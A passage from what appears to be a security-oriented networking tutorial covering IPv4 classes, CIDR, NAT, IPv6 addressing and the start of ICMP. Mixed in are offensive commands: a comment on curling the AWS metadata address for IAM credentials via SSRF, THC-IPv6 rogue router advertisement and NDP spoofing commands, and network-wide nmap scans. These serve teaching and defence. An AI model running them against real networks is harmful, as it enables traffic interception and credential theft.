&lt;/span&gt;&lt;span class="n"&gt;ip_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inet_aton&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Bytes: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip_bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;         &lt;span class="c1"&gt;# c0a80164
&lt;/span&gt;
&lt;span class="c1"&gt;# Integer to string
&lt;/span&gt;&lt;span class="n"&gt;ip_back&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ip_address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip_int&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Back: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip_back&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                 &lt;span class="c1"&gt;# 192.168.1.100
&lt;/span&gt;
&lt;span class="c1"&gt;# Working with network ranges
&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ip_network&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.0/24&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Network: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;network_address&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# 192.168.1.0
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Broadcast: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;broadcast_address&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# 192.168.1.255
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hosts: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;num_addresses&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;      &lt;span class="c1"&gt;# 254
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;First host: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;())[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# 192.168.1.1
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Last host: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;())[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# 192.168.1.254
&lt;/span&gt;
&lt;span class="c1"&gt;# Check if IP is in a network
&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ip_address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.50&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;In network: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="c1"&gt;# True
&lt;/span&gt;
&lt;span class="c1"&gt;# Useful for: checking if IP is RFC1918 private, checking if in attack scope
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Is private: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_private&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="c1"&gt;# True
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Is loopback: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_loopback&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;      &lt;span class="c1"&gt;# False
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.2 Address Classes (Historical but Required Knowledge)
&lt;/h3&gt;

&lt;p&gt;Before CIDR (1993), IP addresses were divided into classes. Understanding classes is essential because:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Legacy systems, documentation, and older CVEs reference them&lt;/li&gt;
&lt;li&gt;Reserved ranges are still based on class boundaries&lt;/li&gt;
&lt;li&gt;Subnetting understanding builds on this foundation
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Class A: 0xxxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First bit: 0
  Range: 1.0.0.0 – 126.0.0.0
  Subnet mask: /8 (255.0.0.0)
  Networks: 126
  Hosts per network: 16,777,214
  Used for: Large organisations, ISPs

Class B: 10xxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First two bits: 10
  Range: 128.0.0.0 – 191.255.0.0
  Subnet mask: /16 (255.255.0.0)
  Networks: 16,384
  Hosts per network: 65,534
  Used for: Universities, medium enterprises

Class C: 110xxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First three bits: 110
  Range: 192.0.0.0 – 223.255.255.0
  Subnet mask: /24 (255.255.255.0)
  Networks: 2,097,152
  Hosts per network: 254
  Used for: Small networks (most common)

Class D: 1110xxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  Range: 224.0.0.0 – 239.255.255.255
  Purpose: Multicast (not unicast hosts)
  Examples: 224.0.0.5 (OSPF), 239.255.255.250 (SSDP/UPnP)

Class E: 1111xxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  Range: 240.0.0.0 – 255.255.255.255
  Purpose: Reserved for experimental use
  255.255.255.255: Limited broadcast
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.3 Special Address Ranges
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;RFC 1918 — Private Addresses:&lt;/strong&gt;&lt;br&gt;
These ranges are never routed on the internet. NAT translates between private and public IPs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;10.0.0.0/8       10.0.0.0 – 10.255.255.255      (Class A private)
172.16.0.0/12    172.16.0.0 – 172.31.255.255    (Class B private)
192.168.0.0/16   192.168.0.0 – 192.168.255.255  (Class C private)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Other special ranges every security professional must know:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;127.0.0.0/8          Loopback (localhost) — 127.0.0.1 is the canonical
169.254.0.0/16       APIPA (Automatic Private IP Addressing) — assigned when DHCP fails
                     Seeing 169.254.x.x means: DHCP failure
                     Also used for link-local communication (AWS metadata: 169.254.169.254)

100.64.0.0/10        Carrier-grade NAT (CGN) — ISP internal addresses
                     Not RFC 1918 but also not public — confuses traceroutes

0.0.0.0/8            "This network" — only valid as source for DHCP discover
192.0.2.0/24         TEST-NET-1 (RFC 5737) — documentation examples
198.51.100.0/24      TEST-NET-2 (RFC 5737) — documentation examples  
203.0.113.0/24       TEST-NET-3 (RFC 5737) — documentation examples
                     (These appear in this document's examples)

192.88.99.0/24       6to4 relay (deprecated but may still appear)
224.0.0.0/4          Multicast
240.0.0.0/4          Reserved
255.255.255.255/32   Limited broadcast
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security implications of special ranges:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# AWS EC2 metadata service — critical for cloud attacks:&lt;/span&gt;
&lt;span class="c"&gt;# 169.254.169.254 is the link-local address of the metadata service&lt;/span&gt;
&lt;span class="c"&gt;# From inside an EC2 instance: curl http://169.254.169.254/latest/meta-data/&lt;/span&gt;
&lt;span class="c"&gt;# Contains: IAM credentials, instance role, user-data (often contains secrets)&lt;/span&gt;
&lt;span class="c"&gt;# SSRF vulnerabilities that reach this address are critical severity&lt;/span&gt;

&lt;span class="c"&gt;# Check if an IP is in RFC1918:&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import ipaddress
ips = ['10.0.0.1', '172.16.0.1', '192.168.1.1', '8.8.8.8', '169.254.169.254']
for ip in ips:
    addr = ipaddress.ip_address(ip)
    print(f'{ip}: private={addr.is_private}, loopback={addr.is_loopback}, '
          f'link_local={addr.is_link_local}')
"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.4 CIDR — Classless Inter-Domain Routing
&lt;/h3&gt;

&lt;p&gt;CIDR (RFC 4632, 1993) replaced classful addressing. It uses a prefix length to define the network portion of an address.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;192.168.1.0/24

/24 = prefix length = 24 bits for network
     = 32 - 24 = 8 bits for hosts
     = 2^8 - 2 = 254 usable hosts

Subnet mask from CIDR:
/8  = 255.0.0.0       = 11111111.00000000.00000000.00000000
/16 = 255.255.0.0     = 11111111.11111111.00000000.00000000
/24 = 255.255.255.0   = 11111111.11111111.11111111.00000000
/25 = 255.255.255.128 = 11111111.11111111.11111111.10000000
/26 = 255.255.255.192 = 11111111.11111111.11111111.11000000
/30 = 255.255.255.252 = 11111111.11111111.11111111.11111100
/32 = 255.255.255.255 = single host

Host formula: 2^(32-prefix) - 2
(-2 for network address and broadcast address)

/30 = 2^2 - 2 = 2 usable hosts (point-to-point links)
/29 = 2^3 - 2 = 6 usable hosts
/28 = 2^4 - 2 = 14 usable hosts
/27 = 2^5 - 2 = 30 usable hosts
/26 = 2^6 - 2 = 62 usable hosts
/25 = 2^7 - 2 = 126 usable hosts
/24 = 2^8 - 2 = 254 usable hosts
/23 = 2^9 - 2 = 510 usable hosts
/22 = 2^10 - 2 = 1022 usable hosts
/16 = 2^16 - 2 = 65534 usable hosts
/8  = 2^24 - 2 = 16,777,214 usable hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ipcalc — subnet calculator&lt;/span&gt;
ipcalc 192.168.1.100/24
&lt;span class="c"&gt;# Shows: network, broadcast, host range, prefix, etc.&lt;/span&gt;

&lt;span class="c"&gt;# Determine network and broadcast from IP + mask:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import ipaddress

def subnet_info(cidr):
    net = ipaddress.ip_network(cidr, strict=False)
    print(f"CIDR:          {cidr}")
    print(f"Network:       {net.network_address}")
    print(f"Broadcast:     {net.broadcast_address}")
    print(f"Subnet mask:   {net.netmask}")
    print(f"Wildcard mask: {net.hostmask}")
    print(f"Usable hosts:  {net.num_addresses - 2}")
    print(f"First host:    {list(net.hosts())[0]}")
    print(f"Last host:     {list(net.hosts())[-1]}")

subnet_info("192.168.1.100/24")
print()
subnet_info("10.0.0.0/8")
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Nmap uses CIDR notation for network scanning:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; 192.168.1.0/24    &lt;span class="c"&gt;# Ping scan entire /24&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; 10.0.0.0/8        &lt;span class="c"&gt;# Ping scan entire Class A (16M addresses — careful)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.5 NAT — Network Address Translation
&lt;/h3&gt;

&lt;p&gt;NAT allows multiple devices to share a single public IP address. It modifies IP headers as packets traverse the NAT device.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Internal network: 192.168.1.0/24
NAT device (router) public IP: 203.0.113.1

Outbound:
  Host 192.168.1.5:54321 → 8.8.8.8:53 (DNS query)
  NAT rewrites: 203.0.113.1:12345 → 8.8.8.8:53
  Stores mapping: 203.0.113.1:12345 ↔ 192.168.1.5:54321

Inbound:
  8.8.8.8:53 → 203.0.113.1:12345 (DNS response)
  NAT looks up: 203.0.113.1:12345 → 192.168.1.5:54321
  NAT rewrites: 8.8.8.8:53 → 192.168.1.5:54321
  Forwards to 192.168.1.5

NAT types (important for VoIP, P2P, gaming, and some attacks):
  Full Cone: Any external host can send to mapped port
  Restricted Cone: Only hosts that internal host has contacted
  Port Restricted Cone: Only specific source port from contacted host
  Symmetric: Different mapping for each external destination (strictest)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;NAT security implications:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;NAT provides &lt;strong&gt;implicit inbound protection&lt;/strong&gt; — external hosts cannot initiate connections to NAT'd internal hosts unless the NAT device is explicitly configured to allow it (port forwarding). This is why home routers with NAT provide a degree of protection even without a firewall.&lt;/p&gt;

&lt;p&gt;However, NAT is NOT a security control:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Internal hosts can still initiate outbound connections (C2 communication bypasses NAT)&lt;/li&gt;
&lt;li&gt;NAT traversal techniques (STUN, TURN, UPnP, ICMP tunnel) allow external hosts to reach internal machines&lt;/li&gt;
&lt;li&gt;UPnP (Universal Plug and Play) allows applications to automatically configure NAT port forwarding — malware exploits this&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Forensic implications:&lt;/strong&gt; NAT obscures the true source of connections. When investigating an incident, the firewall/NAT log is essential — without it, all connections appear to come from the NAT device's public IP.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. IPv6 Fundamentals
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 Why IPv6 Exists and Why It Matters for Security
&lt;/h3&gt;

&lt;p&gt;IPv4 has 2^32 = 4,294,967,296 addresses. The internet ran out of unallocated IPv4 space in 2011. IPv6 was designed to replace it.&lt;/p&gt;

&lt;p&gt;IPv6 has 2^128 addresses. That is 340 undecillion (3.4 × 10^38) — roughly 50 octillion addresses per person on Earth. Address exhaustion is not a concern for the foreseeable future.&lt;/p&gt;

&lt;p&gt;For security professionals, IPv6 matters because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Many networks have dual-stack (IPv4 + IPv6) deployments where the IPv6 side is misconfigured or unmonitored&lt;/li&gt;
&lt;li&gt;Security tools, firewalls, and monitoring systems are often IPv4-centric — IPv6 traffic slips through&lt;/li&gt;
&lt;li&gt;IPv6 has its own address types, protocols (ICMPv6, NDP), and attack surface&lt;/li&gt;
&lt;li&gt;IPv6 is often enabled by default on operating systems even when the network administrator thinks they are running IPv4-only&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  8.2 IPv6 Address Structure
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IPv6 address: 2001:0db8:85a3:0000:0000:8a2e:0370:7334
              ─────────────────────────────────────────
              128 bits, 8 groups of 16 bits each, hex notation

Shorthand rules:
  1. Leading zeros in each group can be omitted:
     0db8 → db8
     0000 → 0

  2. One or more consecutive all-zero groups can be replaced with ::
     (only once per address):
     2001:db8:85a3:0:0:8a2e:370:7334
     → 2001:db8:85a3::8a2e:370:7334

Examples:
  ::1                    Loopback (equivalent to 127.0.0.1)
  ::                     Unspecified address (equivalent to 0.0.0.0)
  fe80::1                Link-local address
  2001:db8::/32          Documentation prefix (like 192.0.2.0/24)
  ff02::1                All nodes (link-local multicast)
  ff02::2                All routers (link-local multicast)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.3 IPv6 Address Types
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Global Unicast:    2000::/3  (currently 2001::-3fff::)
  Globally unique, routable on the internet
  Equivalent to public IPv4 addresses

Link-Local:        fe80::/10
  Only valid on a single link (subnet)
  Automatically configured on every IPv6-capable interface
  Used for NDP (Neighbour Discovery Protocol — IPv6 ARP replacement)
  NOT routable beyond the local link

Unique Local:      fc00::/7  (currently fd00::/8 in practice)
  Equivalent to RFC 1918 private addresses
  Routable within an organisation, not on the internet

Loopback:          ::1/128
  Equivalent to 127.0.0.1

Multicast:         ff00::/8
  No broadcast in IPv6 — broadcast replaced with multicast
  ff02::1 = all nodes on link
  ff02::2 = all routers on link
  ff02::1:ff00:0/104 = solicited-node multicast (used by NDP)

IPv4-Mapped:       ::ffff:0:0/96
  Represents IPv4 addresses in IPv6 notation
  ::ffff:192.168.1.1 = 192.168.1.1 in IPv6 format
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.4 IPv6 Security — The Hidden Attack Surface
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Dual-stack networks:&lt;/strong&gt;&lt;br&gt;
Most modern operating systems enable IPv6 by default. Even if the network administrator has not configured IPv6, the operating system will autoconfigure a link-local address (fe80::/10) and may configure a global address via SLAAC (Stateless Address Autoconfiguration) if a router is advertising IPv6 prefixes.&lt;/p&gt;

&lt;p&gt;This creates a hidden attack surface:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Scenario:
  Administrator: "We run IPv4 only, our firewall rules are IPv4"
  Reality: All Windows, Linux, macOS machines have IPv6 enabled
           If any machine has a global IPv6 address, it may be
           directly reachable from the IPv6 internet
           without going through the IPv4 firewall

Check IPv6 on Linux:
ip -6 addr show                         # All IPv6 addresses
ip -6 route show                        # IPv6 routing table
cat /proc/net/if_inet6                  # All IPv6 interfaces

Check IPv6 on Windows:
ipconfig | findstr /i "IPv6"
netsh interface ipv6 show addresses
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;NDP — Neighbour Discovery Protocol:&lt;/strong&gt;&lt;br&gt;
NDP is IPv6's replacement for ARP. It uses ICMPv6 messages instead of a dedicated protocol.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NDP messages:
  ICMPv6 Type 133: Router Solicitation (RS) — "Is there a router?"
  ICMPv6 Type 134: Router Advertisement (RA) — "I am a router, here are params"
  ICMPv6 Type 135: Neighbour Solicitation (NS) — "Who has this IPv6 address?"
  ICMPv6 Type 136: Neighbour Advertisement (NA) — "I have this IPv6 address"
  ICMPv6 Type 137: Redirect — "Use a better route"

NDP has the same fundamental vulnerability as ARP: no authentication.
NDP spoofing is the IPv6 equivalent of ARP spoofing.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Rogue Router Advertisement (RA) attacks:&lt;/strong&gt;&lt;br&gt;
An attacker can send fake Router Advertisements to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Redirect traffic through the attacker's machine (default route hijacking)&lt;/li&gt;
&lt;li&gt;Configure a malicious DNS server on victim machines&lt;/li&gt;
&lt;li&gt;Perform MITM on all IPv6 traffic
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Tools for IPv6 attacks:&lt;/span&gt;
&lt;span class="c"&gt;# THC-IPv6 toolkit (pre-installed on Kali)&lt;/span&gt;

&lt;span class="c"&gt;# Send rogue RA to assign attacker's machine as default gateway:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;atk6-fake_router6 eth0 2001:db8::/64

&lt;span class="c"&gt;# IPv6 NDP spoofing:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;parasite6 eth0                     &lt;span class="c"&gt;# NDP responder (like arpspoof for IPv6)&lt;/span&gt;

&lt;span class="c"&gt;# Detect rogue RAs:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;radvd &lt;span class="nt"&gt;--debug&lt;/span&gt;                      &lt;span class="c"&gt;# Monitor for unexpected RAs&lt;/span&gt;
&lt;span class="c"&gt;# Or in Wireshark: icmpv6.type == 134   (Router Advertisement)&lt;/span&gt;
&lt;span class="c"&gt;# Unexpected RAs from non-router MACs are suspicious&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;IPv6 scanning:&lt;/strong&gt;&lt;br&gt;
The IPv6 address space is so large that random scanning is impractical. But attackers use:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Multicast addresses (ff02::1 reaches all hosts on the link without knowing individual addresses)&lt;/li&gt;
&lt;li&gt;SLAAC-based addresses are often predictable (EUI-64 format embeds the MAC address)&lt;/li&gt;
&lt;li&gt;DNS enumeration for IPv6 AAAA records
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Discover IPv6 hosts on local link using multicast&lt;/span&gt;
ping6 &lt;span class="nt"&gt;-I&lt;/span&gt; eth0 ff02::1                   &lt;span class="c"&gt;# Ping all nodes multicast&lt;/span&gt;
&lt;span class="c"&gt;# Captures responses from all IPv6-enabled hosts on the link&lt;/span&gt;

&lt;span class="c"&gt;# Nmap IPv6 scan&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-6&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; 2001:db8::1           &lt;span class="c"&gt;# Single IPv6 host&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-6&lt;/span&gt; &lt;span class="nt"&gt;--script&lt;/span&gt; ipv6-multicast-mld-list eth0  &lt;span class="c"&gt;# Discover via multicast&lt;/span&gt;

&lt;span class="c"&gt;# Check for AAAA records (IPv6 DNS)&lt;/span&gt;
dig AAAA google.com
host &lt;span class="nt"&gt;-t&lt;/span&gt; AAAA google.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; IPv4 addresses are nearly exhausted and IPv6 deployment is accelerating. More importantly, IPv6 is already running on most enterprise systems — often unmonitored and unmanaged. An attacker who pivots to IPv6 on a dual-stack network may find a completely undefended path. Every network assessment must include IPv6 enumeration, and every security architecture must account for IPv6 traffic.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  9. ICMP — The Network's Diagnostic Layer
&lt;/h2&gt;
&lt;h3&gt;
  
  
  9.1 What ICMP Is
&lt;/h3&gt;

&lt;p&gt;ICMP (Internet Control Message Protocol, RFC 792) runs directly over IP (protocol number 1) and provides network diagnostic and error reporting functions. It has no ports and cannot be used for application data transfer.&lt;/p&gt;

&lt;p&gt;ICMP is essential for network operation, but it is also one of the most abused protocols in offensive security.&lt;/p&gt;
&lt;h3&gt;
  
  
  9.2 ICMP Message Types
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Type  Code  Name                           Security Relevance
─────────────────────────────────────────────────────────────────
0     0     Echo Reply                     Ping response — host is up
3     0     Destination Unreachable        
      0     Net Unreachable                Routing problem
      1     Host Unreachable               Host down or firewalled
      2     Protocol Unreachable           Protocol not supported
